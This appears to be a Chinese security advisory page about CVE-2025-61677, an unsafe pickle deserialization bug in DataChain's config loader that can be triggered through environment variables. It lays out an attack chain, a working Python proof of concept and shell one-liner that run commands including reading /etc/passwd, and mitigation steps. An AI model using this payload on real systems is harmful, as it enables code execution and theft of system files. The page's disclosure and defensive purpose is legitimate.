IPBUF安全漏洞报告
English
CVE-2025-61677 CVSS 2.5 低危

CVE-2025-61677 DataChain反序列化漏洞导致本地代码执行

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-61677
漏洞类型
不安全反序列化(导致远程代码执行)
CVSS评分
2.5 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
iterative/datachain(Python AI数据仓库)

相关标签

CVE-2025-61677DataChain不安全反序列化pickle远程代码执行环境变量注入PythonAI数据仓库iterativeloader.py

漏洞概述

CVE-2025-61677是DataChain(一个基于Python的AI数据仓库,用于转换和分析非结构化数据)中的一个不安全反序列化漏洞。该漏洞存在于DataChain 0.34.1及以下版本中,源于loader.py模块在读取环境变量(如DATACHAIN__METASTORE和DATACHAIN__WAREHOUSE)时,未对反序列化的数据进行充分的验证和过滤。攻击者如果能够控制这些环境变量的值,就可以在应用程序加载时触发任意代码执行。该漏洞由GitHub安全顾问团队([email protected])发现并报告,已在DataChain 0.34.2版本中修复。根据CVSS 3.1评分标准,该漏洞评分为2.5分,属于低危级别。评分较低的原因是攻击需要本地访问权限(AV:L)、高复杂度(AC:H)以及低权限要求(PR:L),但其本质是一个可导致代码执行的高危安全问题。DataChain作为AI/ML数据处理工具,被广泛用于大规模数据集的转换、版本化和分析,因此该漏洞对依赖该库进行数据科学工作流的企业和开发者构成潜在威胁。

技术细节

该漏洞的核心问题在于DataChain的loader.py模块在初始化配置时,会从环境变量中读取序列化的对象数据。具体而言,DATACHAIN__METASTORE和DATACHAIN__WAREHOUSE等环境变量被用于配置DataChain的元数据存储和数据仓库连接。然而,DataChain在解析这些环境变量时使用了不安全的反序列化方式(如pickle),使得攻击者可以通过精心构造的序列化payload实现任意代码执行。

利用方式如下:
1. 攻击者首先需要在目标系统上获得环境变量的写入权限(PR:L表示需要低权限);
2. 攻击者构造恶意的pickle序列化payload,其中包含要执行的系统命令;
3. 攻击者将该payload编码后设置到DATACHAIN__METASTORE或DATACHAIN__WAREHOUSE环境变量中;
4. 当DataChain应用程序启动或重新加载配置时,loader.py模块会自动从环境变量读取并反序列化该数据;
5. 反序列化过程中,恶意payload中的代码被自动执行,攻击者获得代码执行权限。

该漏洞的修复通过commit 914b9561实现,主要措施是禁止从环境变量反序列化不安全的数据类型,改用安全的配置解析方式(如JSON或YAML),并对反序列化的对象进行类型验证。

攻击链分析

STEP 1
步骤1:获取环境变量写入权限
攻击者需要在目标系统上获得设置进程环境变量的权限。由于漏洞要求低权限(PR:L),这通常意味着攻击者已经拥有目标系统的某种级别的访问权限,如普通用户账户或容器环境中的权限。
STEP 2
步骤2:构造恶意序列化payload
攻击者使用Python的pickle模块构造一个恶意的序列化对象,其中通过__reduce__方法定义了反序列化时要执行的系统命令。常见的payload包括反弹shell、下载并执行恶意程序、或读取敏感文件等。
STEP 3
步骤3:注入环境变量
攻击者将base64编码后的恶意payload设置到DATACHAIN__METASTORE或DATACHAIN__WAREHOUSE环境变量中。这可以通过多种方式实现,如修改shell配置文件、注入到CI/CD管道配置、或在容器启动时通过环境变量传递。
STEP 4
步骤4:触发DataChain加载
当目标系统上任何使用DataChain的应用程序启动、重新部署或重新加载配置时,loader.py模块会自动从环境变量读取配置数据,并使用不安全的反序列化方式解析这些数据。
STEP 5
步骤5:代码执行
在反序列化过程中,Python pickle模块会调用payload中__reduce__方法指定的可调用对象,从而执行攻击者预设的系统命令。攻击者获得与运行DataChain进程相同权限的代码执行能力。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61677 PoC - DataChain Unsafe Deserialization via Environment Variables # This PoC demonstrates how an attacker can exploit the unsafe deserialization # vulnerability in DataChain <= 0.34.1 by setting malicious environment variables. import os import pickle import base64 class ExploitPayload: """Malicious pickle payload that executes arbitrary code upon deserialization.""" def __reduce__(self): # Command to execute when the payload is deserialized cmd = "id; whoami; cat /etc/passwd | head -5" return (os.system, (cmd,)) def generate_payload(): """Generate a base64-encoded malicious pickle payload.""" payload = pickle.dumps(ExploitPayload()) encoded = base64.b64encode(payload).decode() return encoded def exploit(): """ Step 1: Generate the malicious serialized payload. Step 2: Set it as the DATACHAIN__METASTORE environment variable. Step 3: Trigger DataChain to read the environment variable, causing code execution. """ payload = generate_payload() print(f"[*] Generated payload: {payload[:50]}...") # Set the malicious environment variable os.environ["DATACHAIN__METASTORE"] = payload os.environ["DATACHAIN__WAREHOUSE"] = payload print("[*] Environment variables set with malicious payload") print("[*] Triggering DataChain import to execute the payload...") # When DataChain is imported or initialized, it will read the environment # variables and deserialize the malicious payload, triggering code execution try: from datachain.config import load_config config = load_config() except Exception as e: print(f"[*] Exploit triggered (expected behavior): {e}") if __name__ == "__main__": exploit() # Alternative exploitation method (direct shell command): # export DATACHAIN__METASTORE="$(python3 -c 'import pickle,base64,os; \ # class P: __reduce__ = lambda s: (os.system, ("touch /tmp/pwned",)); \ # print(base64.b64encode(pickle.dumps(P())).decode())')" # python3 -c "import datachain"

影响范围

iterative/datachain <= 0.34.1

防御指南

临时缓解措施
在无法立即升级到0.34.2版本的情况下,建议采取以下临时缓解措施:1)严格控制DATACHAIN__METASTORE和DATACHAIN__WAREHOUSE等环境变量的写入权限,仅允许可信的管理员设置;2)在启动DataChain相关应用前,验证环境变量的内容格式,确保其为预期的配置格式而非序列化的Python对象;3)在容器化部署中,使用Kubernetes的PodSecurityPolicy或类似机制限制环境变量的设置;4)监控和审计环境中对这些敏感环境变量的修改操作;5)考虑使用seccomp配置文件限制Python进程可以执行的系统调用,降低反序列化漏洞被利用后的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表